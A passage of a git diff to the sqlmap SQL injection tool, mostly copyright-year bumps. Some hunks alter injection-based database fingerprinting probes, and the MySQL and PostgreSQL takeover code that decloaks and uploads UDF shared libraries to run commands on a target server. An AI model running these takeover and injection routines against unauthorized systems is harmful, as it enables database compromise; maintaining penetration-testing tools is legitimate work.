", logging enabled" banVer = Format.getDbms([banVer] if banVer else None) @@ -143,7 +143,7 @@ class Fingerprint(GenericFingerprint): """ if not conf.extensiveFp and (Backend.isDbmsWithin(MYSQL_ALIASES) \ - or conf.dbms in MYSQL_ALIASES) and Backend.getVersion() and \ + or (conf.dbms or "").lower() in MYSQL_ALIASES) and Backend.getVersion() and \ Backend.getVersion() != UNKNOWN_DBMS_VERSION: v = Backend.getVersion().replace(">", "") v = v.replace("=", "") @@ -181,7 +181,7 @@ class Fingerprint(GenericFingerprint): # Reference: http://bugs.mysql.com/bug.php?id=15855 # Determine if it is MySQL >= 5.0.0 - if inject.checkBooleanExpression("ISNULL(TIMESTAMPADD(MINUTE,[RANDNUM],0))"): + if inject.checkBooleanExpression("ISNULL(TIMESTAMPADD(MINUTE,[RANDNUM],NULL))"): kb.data.has_information_schema = True Backend.setVersion(">= 5.0.0") setDbms("%s 5" % DBMS.MYSQL) diff --git a/plugins/dbms/mysql/syntax.py b/plugins/dbms/mysql/syntax.py index e58e4b481..e593a51fb 100644 --- a/plugins/dbms/mysql/syntax.py +++ b/plugins/dbms/mysql/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/mysql/takeover.py b/plugins/dbms/mysql/takeover.py index d3803bfee..8d132fb60 100644 --- a/plugins/dbms/mysql/takeover.py +++ b/plugins/dbms/mysql/takeover.py @@ -1,14 +1,16 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ +import os import re from lib.core.agent import agent from lib.core.common import Backend +from lib.core.common import decloakToTemp from lib.core.common import isStackingAvailable from lib.core.common import normalizePath from lib.core.common import ntToPosixSlashes @@ -26,6 +28,7 @@ class Takeover(GenericTakeover): def __init__(self): self.__basedir = None self.__datadir = None + self.__plugindir = None GenericTakeover.__init__(self) @@ -34,27 +37,32 @@ class Takeover(GenericTakeover): banVer = kb.bannerFp["dbmsVersion"] - # On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0 - if banVer >= "5.1.19": - if self.__basedir is None: + if banVer >= "5.0.67": + if self.__plugindir is None: + logger.info("retrieving MySQL plugin directory absolute path") + self.__plugindir = unArrayizeValue(inject.getValue("SELECT @@plugin_dir")) + + # On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0 + if self.__plugindir is None and banVer >= "5.1.19": logger.info("retrieving MySQL base directory absolute path") # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir self.__basedir = unArrayizeValue(inject.getValue("SELECT @@basedir")) - if re.search("^[\w]\:[\/\\\\]+", self.__basedir, re.I): + if re.search("^[\w]\:[\/\\\\]+", (self.__basedir or ""), re.I): Backend.setOs(OS.WINDOWS) else: Backend.setOs(OS.LINUX) - # The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin - if Backend.isOs(OS.WINDOWS): - self.__basedir += "/lib/plugin" - else: - self.__basedir += "/lib/mysql/plugin" + # The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin + if Backend.isOs(OS.WINDOWS): + self.__plugindir = "%s/lib/plugin" % self.__basedir + else: + self.__plugindir = "%s/lib/mysql/plugin" % self.__basedir - self.__basedir = ntToPosixSlashes(normalizePath(self.__basedir)) - self.udfRemoteFile = "%s/%s.%s" % (self.__basedir, self.udfSharedLibName, self.udfSharedLibExt) + self.__plugindir = ntToPosixSlashes(normalizePath(self.__plugindir)) + + self.udfRemoteFile = "%s/%s.%s" % (self.__plugindir, self.udfSharedLibName, self.udfSharedLibExt) # On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file # On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file @@ -78,10 +86,12 @@ class Takeover(GenericTakeover): self.udfSharedLibName = "libs%s" % randomStr(lowercase=True) if Backend.isOs(OS.WINDOWS): - self.udfLocalFile += "/mysql/windows/%d/lib_mysqludf_sys.dll" % Backend.getArch() + _ = os.path.join(self.udfLocalFile, "mysql", "windows", "%d" % Backend.getArch(), "lib_mysqludf_sys.dll_") + self.udfLocalFile = decloakToTemp(_) self.udfSharedLibExt = "dll" else: - self.udfLocalFile += "/mysql/linux/%d/lib_mysqludf_sys.so" % Backend.getArch() + _ = os.path.join(self.udfLocalFile, "mysql", "linux", "%d" % Backend.getArch(), "lib_mysqludf_sys.so_") + self.udfLocalFile = decloakToTemp(_) self.udfSharedLibExt = "so" def udfCreateFromSharedLib(self, udf, inpRet): diff --git a/plugins/dbms/oracle/__init__.py b/plugins/dbms/oracle/__init__.py index 1a09a1be9..165f92702 100644 --- a/plugins/dbms/oracle/__init__.py +++ b/plugins/dbms/oracle/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/oracle/connector.py b/plugins/dbms/oracle/connector.py index 161b4efd5..3777689f4 100644 --- a/plugins/dbms/oracle/connector.py +++ b/plugins/dbms/oracle/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -42,10 +42,10 @@ class Connector(GenericConnector): try: self.connector = cx_Oracle.connect(dsn=self.__dsn, user=self.user, password=self.password, mode=cx_Oracle.SYSDBA) logger.info("successfully connected as SYSDBA") - except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError): + except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError, cx_Oracle.InterfaceError): try: self.connector = cx_Oracle.connect(dsn=self.__dsn, user=self.user, password=self.password) - except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError), msg: + except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError, cx_Oracle.InterfaceError), msg: raise SqlmapConnectionException(msg) self.initCursor() diff --git a/plugins/dbms/oracle/enumeration.py b/plugins/dbms/oracle/enumeration.py index 3344870d9..b9318d17f 100644 --- a/plugins/dbms/oracle/enumeration.py +++ b/plugins/dbms/oracle/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/oracle/filesystem.py b/plugins/dbms/oracle/filesystem.py index fe012c968..0428e3fdb 100644 --- a/plugins/dbms/oracle/filesystem.py +++ b/plugins/dbms/oracle/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/oracle/fingerprint.py b/plugins/dbms/oracle/fingerprint.py index 5c149fdd0..4b56b3122 100644 --- a/plugins/dbms/oracle/fingerprint.py +++ b/plugins/dbms/oracle/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -58,7 +58,7 @@ class Fingerprint(GenericFingerprint): return value def checkDbms(self): - if not conf.extensiveFp and (Backend.isDbmsWithin(ORACLE_ALIASES) or conf.dbms in ORACLE_ALIASES): + if not conf.extensiveFp and (Backend.isDbmsWithin(ORACLE_ALIASES) or (conf.dbms or "").lower() in ORACLE_ALIASES): setDbms(DBMS.ORACLE) self.getBanner() diff --git a/plugins/dbms/oracle/syntax.py b/plugins/dbms/oracle/syntax.py index 48c878147..41d2e9df5 100644 --- a/plugins/dbms/oracle/syntax.py +++ b/plugins/dbms/oracle/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/oracle/takeover.py b/plugins/dbms/oracle/takeover.py index b47e1fbce..1781cd9e0 100644 --- a/plugins/dbms/oracle/takeover.py +++ b/plugins/dbms/oracle/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/postgresql/__init__.py b/plugins/dbms/postgresql/__init__.py index 0688fc29b..561b13572 100644 --- a/plugins/dbms/postgresql/__init__.py +++ b/plugins/dbms/postgresql/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/postgresql/connector.py b/plugins/dbms/postgresql/connector.py index b6d56bd25..e60e7777a 100644 --- a/plugins/dbms/postgresql/connector.py +++ b/plugins/dbms/postgresql/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/postgresql/enumeration.py b/plugins/dbms/postgresql/enumeration.py index 5db5886e1..d379c2512 100644 --- a/plugins/dbms/postgresql/enumeration.py +++ b/plugins/dbms/postgresql/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/postgresql/filesystem.py b/plugins/dbms/postgresql/filesystem.py index 0b9820b83..e45be204b 100644 --- a/plugins/dbms/postgresql/filesystem.py +++ b/plugins/dbms/postgresql/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py index 2d1a63651..3391f711e 100644 --- a/plugins/dbms/postgresql/fingerprint.py +++ b/plugins/dbms/postgresql/fingerprint.py @@ -1,13 +1,12 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.common import Backend from lib.core.common import Format -from lib.core.common import singleTimeWarnMessage from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -15,7 +14,6 @@ from lib.core.enums import DBMS from lib.core.enums import OS from lib.core.session import setDbms from lib.core.settings import PGSQL_ALIASES -from lib.core.settings import PGSQL_SYSTEM_DBS from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint @@ -65,7 +63,7 @@ class Fingerprint(GenericFingerprint): * http://www.postgresql.org/docs/9.1/interactive/release.html (up to 9.1.3) """ - if not conf.extensiveFp and (Backend.isDbmsWithin(PGSQL_ALIASES) or conf.dbms in PGSQL_ALIASES): + if not conf.extensiveFp and (Backend.isDbmsWithin(PGSQL_ALIASES) or (conf.dbms or "").lower() in PGSQL_ALIASES): setDbms(DBMS.PGSQL) self.getBanner() @@ -171,13 +169,3 @@ class Fingerprint(GenericFingerprint): logger.info(infoMsg) self.cleanup(onlyFileTbl=True) - - def forceDbmsEnum(self): - if conf.db not in PGSQL_SYSTEM_DBS and conf.db != "public": - conf.db = "public" - - warnMsg = "on %s it is possible to enumerate " % DBMS.PGSQL - warnMsg += "only on the current schema and/or system databases. " - warnMsg += "sqlmap is going to use 'public' schema as a " - warnMsg += "database name" - singleTimeWarnMessage(warnMsg) diff --git a/plugins/dbms/postgresql/syntax.py b/plugins/dbms/postgresql/syntax.py index f75f410ca..7bb904625 100644 --- a/plugins/dbms/postgresql/syntax.py +++ b/plugins/dbms/postgresql/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/postgresql/takeover.py b/plugins/dbms/postgresql/takeover.py index 5c3c10cca..0e4794acd 100644 --- a/plugins/dbms/postgresql/takeover.py +++ b/plugins/dbms/postgresql/takeover.py @@ -1,16 +1,21 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ +import os + from lib.core.common import Backend +from lib.core.common import checkFile +from lib.core.common import decloakToTemp from lib.core.common import randomStr from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.enums import OS +from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapUnsupportedFeatureException from lib.request import inject from plugins.generic.takeover import Takeover as GenericTakeover @@ -43,7 +48,9 @@ class Takeover(GenericTakeover): banVer = kb.bannerFp["dbmsVersion"] - if banVer >= "9.0": + if banVer >= "9.1": + majorVer = "9.1" + elif banVer >= "9.0": majorVer = "9.0" elif banVer >= "8.4": majorVer = "8.4" @@ -55,12 +62,20 @@ class Takeover(GenericTakeover): errMsg = "unsupported feature on versions of PostgreSQL before 8.2" raise SqlmapUnsupportedFeatureException(errMsg) - if Backend.isOs(OS.WINDOWS): - self.udfLocalFile += "/postgresql/windows/%d/%s/lib_postgresqludf_sys.dll" % (Backend.getArch(), majorVer) - self.udfSharedLibExt = "dll" - else: - self.udfLocalFile += "/postgresql/linux/%d/%s/lib_postgresqludf_sys.so" % (Backend.getArch(), majorVer) - self.udfSharedLibExt = "so" + try: + if Backend.isOs(OS.WINDOWS): + _ = os.path.join(self.udfLocalFile, "postgresql", "windows", "%d" % Backend.getArch(), majorVer, "lib_postgresqludf_sys.dll_") + checkFile(_) + self.udfLocalFile = decloakToTemp(_) + self.udfSharedLibExt = "dll" + else: + _ = os.path.join(self.udfLocalFile, "postgresql", "linux", "%d" % Backend.getArch(), majorVer, "lib_postgresqludf_sys.so_") + checkFile(_) + self.udfLocalFile = decloakToTemp(_) + self.udfSharedLibExt = "so" + except SqlmapSystemException: + errMsg = "unsupported feature on PostgreSQL %s (%s-bit)" % (majorVer, Backend.getArch()) + raise SqlmapUnsupportedFeatureException(errMsg) def udfCreateFromSharedLib(self, udf, inpRet): if udf in self.udfToCreate: diff --git a/plugins/dbms/sqlite/__init__.py b/plugins/dbms/sqlite/__init__.py index c71ff9876..0f7dcab83 100644 --- a/plugins/dbms/sqlite/__init__.py +++ b/plugins/dbms/sqlite/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/sqlite/connector.py b/plugins/dbms/sqlite/connector.py index 751be07ab..dae2a3e78 100644 --- a/plugins/dbms/sqlite/connector.py +++ b/plugins/dbms/sqlite/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/sqlite/enumeration.py b/plugins/dbms/sqlite/enumeration.py index a5509c564..db1d3c954 100644 --- a/plugins/dbms/sqlite/enumeration.py +++ b/plugins/dbms/sqlite/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/sqlite/filesystem.py b/plugins/dbms/sqlite/filesystem.py index 2e6877451..ed1e5c152 100644 --- a/plugins/dbms/sqlite/filesystem.py +++ b/plugins/dbms/sqlite/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/sqlite/fingerprint.py b/plugins/dbms/sqlite/fingerprint.py index 6073ab313..6c42a6374 100644 --- a/plugins/dbms/sqlite/fingerprint.py +++ b/plugins/dbms/sqlite/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -64,7 +64,7 @@ class Fingerprint(GenericFingerprint): * http://www.sqlite.org/cvstrac/wiki?p=LoadableExtensions """ - if not conf.extensiveFp and (Backend.isDbmsWithin(SQLITE_ALIASES) or conf.dbms in SQLITE_ALIASES): + if not conf.extensiveFp and (Backend.isDbmsWithin(SQLITE_ALIASES) or (conf.dbms or "").lower() in SQLITE_ALIASES): setDbms(DBMS.SQLITE) self.getBanner() diff --git a/plugins/dbms/sqlite/syntax.py b/plugins/dbms/sqlite/syntax.py index 6e9896548..53c54f9f6 100644 --- a/plugins/dbms/sqlite/syntax.py +++ b/plugins/dbms/sqlite/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/sqlite/takeover.py b/plugins/dbms/sqlite/takeover.py index c619f23f3..65fe09792 100644 --- a/plugins/dbms/sqlite/takeover.py +++ b/plugins/dbms/sqlite/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/sybase/__init__.py b/plugins/dbms/sybase/__init__.py index 7c6eb775f..b2df16926 100644 --- a/plugins/dbms/sybase/__init__.py +++ b/plugins/dbms/sybase/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/sybase/connector.py b/plugins/dbms/sybase/connector.py index 76e61e71b..3b1c7be75 100644 --- a/plugins/dbms/sybase/connector.py +++ b/plugins/dbms/sybase/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/sybase/enumeration.py b/plugins/dbms/sybase/enumeration.py index d51f21ac8..09a0356af 100644 --- a/plugins/dbms/sybase/enumeration.py +++ b/plugins/dbms/sybase/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -10,6 +10,7 @@ from lib.core.common import filterPairValues from lib.core.common import isTechniqueAvailable from lib.core.common import randomStr from lib.core.common import safeSQLIdentificatorNaming +from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf from lib.core.data import kb @@ -67,6 +68,8 @@ class Enumeration(GenericEnumeration): users = kb.data.cachedUsers for user in users: + user = unArrayizeValue(user) + if user is None: continue @@ -181,6 +184,9 @@ class Enumeration(GenericEnumeration): else: colList = [] + if conf.excludeCol: + colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] + for col in colList: colList[colList.index(col)] = safeSQLIdentificatorNaming(col) diff --git a/plugins/dbms/sybase/filesystem.py b/plugins/dbms/sybase/filesystem.py index 1452832b9..c5dbc6943 100644 --- a/plugins/dbms/sybase/filesystem.py +++ b/plugins/dbms/sybase/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/sybase/fingerprint.py b/plugins/dbms/sybase/fingerprint.py index f63be2da2..762ab95eb 100644 --- a/plugins/dbms/sybase/fingerprint.py +++ b/plugins/dbms/sybase/fingerprint.py @@ -1,12 +1,13 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.common import Backend from lib.core.common import Format +from lib.core.common import unArrayizeValue from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -58,7 +59,7 @@ class Fingerprint(GenericFingerprint): def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(SYBASE_ALIASES) \ - or conf.dbms in SYBASE_ALIASES) and Backend.getVersion() and \ + or (conf.dbms or "").lower() in SYBASE_ALIASES) and Backend.getVersion() and \ Backend.getVersion().isdigit(): setDbms("%s %s" % (DBMS.SYBASE, Backend.getVersion())) @@ -74,7 +75,7 @@ class Fingerprint(GenericFingerprint): if conf.direct: result = True else: - result = inject.checkBooleanExpression("tempdb_id()=tempdb_id()") + result = inject.checkBooleanExpression("@@transtate=@@transtate") if result: infoMsg = "confirming %s" % DBMS.SYBASE @@ -98,12 +99,17 @@ class Fingerprint(GenericFingerprint): infoMsg = "actively fingerprinting %s" % DBMS.SYBASE logger.info(infoMsg) - for version in xrange(12, 16): - result = inject.checkBooleanExpression("@@VERSION_NUMBER/1000=%d" % version) + result = unArrayizeValue(inject.getValue("SUBSTRING(@@VERSION,1,1)")) - if result: - Backend.setVersion(str(version)) - break + if result and result.isdigit(): + Backend.setVersion(str(result)) + else: + for version in xrange(12, 16): + result = inject.checkBooleanExpression("PATINDEX('%%/%d[./]%%',@@VERSION)>0" % version) + + if result: + Backend.setVersion(str(version)) + break return True else: diff --git a/plugins/dbms/sybase/syntax.py b/plugins/dbms/sybase/syntax.py index 3cf73627b..a0f1775d4 100644 --- a/plugins/dbms/sybase/syntax.py +++ b/plugins/dbms/sybase/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/sybase/takeover.py b/plugins/dbms/sybase/takeover.py index 026bcf7f7..9a9dfd7c4 100644 --- a/plugins/dbms/sybase/takeover.py +++ b/plugins/dbms/sybase/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/generic/__init__.py b/plugins/generic/__init__.py index 9e1072a9c..8d7bcd8f0 100644 --- a/plugins/generic/__init__.py +++ b/plugins/generic/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/generic/connector.py b/plugins/generic/connector.py index 17e3c7756..7bce4748c 100644 --- a/plugins/generic/connector.py +++ b/plugins/generic/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/generic/custom.py b/plugins/generic/custom.py index aa76a745f..2871d90c4 100644 --- a/plugins/generic/custom.py +++ b/plugins/generic/custom.py @@ -1,20 +1,23 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re +import sys from lib.core.common import Backend from lib.core.common import dataToStdout from lib.core.common import getSQLSnippet +from lib.core.common import getUnicode from lib.core.common import isStackingAvailable -from lib.core.convert import utf8decode from lib.core.data import conf from lib.core.data import logger from lib.core.dicts import SQL_STATEMENTS +from lib.core.enums import AUTOCOMPLETE_TYPE +from lib.core.settings import NULL from lib.core.settings import PARAMETER_SPLITTING_REGEX from lib.core.shell import autoCompletion from lib.request import inject @@ -63,7 +66,7 @@ class Custom: debugMsg = "done" logger.debug(debugMsg) - output = False + output = NULL return output @@ -72,14 +75,14 @@ class Custom: infoMsg += "'x' or 'q' and press ENTER" logger.info(infoMsg) - autoCompletion(sqlShell=True) + autoCompletion(AUTOCOMPLETE_TYPE.SQL) while True: query = None try: query = raw_input("sql-shell> ") - query = utf8decode(query) + query = getUnicode(query, encoding=sys.stdin.encoding) except KeyboardInterrupt: print errMsg = "user aborted" diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 378fa8a3b..6fa1295d2 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -9,6 +9,7 @@ from lib.core.agent import agent from lib.core.common import arrayizeValue from lib.core.common import Backend from lib.core.common import filterPairValues +from lib.core.common import flattenValue from lib.core.common import getLimitRange from lib.core.common import isInferenceAvailable from lib.core.common import isListLike @@ -20,6 +21,7 @@ from lib.core.common import popValue from lib.core.common import pushValue from lib.core.common import readInput from lib.core.common import safeSQLIdentificatorNaming +from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf @@ -62,6 +64,12 @@ class Databases: if not kb.data.currentDb: kb.data.currentDb = unArrayizeValue(inject.getValue(query, safeCharEncode=False)) + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL): + warnMsg = "on %s you'll need to use " % Backend.getIdentifiedDbms() + warnMsg += "schema names for enumeration as the counterpart to database " + warnMsg += "names on other DBMSes" + singleTimeWarnMessage(warnMsg) + return kb.data.currentDb def getDbs(self): @@ -76,20 +84,14 @@ class Databases: warnMsg += "names will be fetched from 'mysql' database" logger.warn(warnMsg) - elif Backend.isDbms(DBMS.ORACLE): - warnMsg = "schema names are going to be used on Oracle " + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL): + warnMsg = "schema names are going to be used on %s " % Backend.getIdentifiedDbms() warnMsg += "for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" logger.warn(warnMsg) infoMsg = "fetching database (schema) names" - elif Backend.isDbms(DBMS.DB2): - warnMsg = "schema names are going to be used on IBM DB2 " - warnMsg += "for enumeration as the counterpart to database " - warnMsg += "names on other DBMSes" - logger.warn(warnMsg) - infoMsg = "fetching database (schema) names" else: infoMsg = "fetching database names" @@ -171,7 +173,7 @@ class Databases: kb.data.cachedDbs.sort() if kb.data.cachedDbs: - kb.data.cachedDbs = list(set(kb.data.cachedDbs)) + kb.data.cachedDbs = filter(None, list(set(flattenValue(kb.data.cachedDbs)))) return kb.data.cachedDbs @@ -213,11 +215,11 @@ class Databases: else: dbs = self.getDbs() + dbs = [_ for _ in dbs if _ and _.strip()] + for db in dbs: dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db) - dbs = filter(None, dbs) - if bruteForce: resumeAvailable = False @@ -226,7 +228,7 @@ class Databases: resumeAvailable = True break - if resumeAvailable: + if resumeAvailable and not conf.freshQueries: for db, table in kb.brute.tables: if db == conf.db: if conf.db not in kb.data.cachedTables: @@ -280,7 +282,7 @@ class Databases: for db, table in filterPairValues(values): db = safeSQLIdentificatorNaming(db) - table = safeSQLIdentificatorNaming(table, True) + table = safeSQLIdentificatorNaming(unArrayizeValue(table), True) if db not in kb.data.cachedTables: kb.data.cachedTables[db] = [table] @@ -330,6 +332,8 @@ class Databases: query = rootQuery.blind.query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ") elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): query = rootQuery.blind.query % index + elif Backend.isDbms(DBMS.HSQLDB): + query = rootQuery.blind.query % (index, unsafeSQLIdentificatorNaming(db)) else: query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(db), index) @@ -378,6 +382,11 @@ class Databases: conf.db = self.getCurrentDb() + 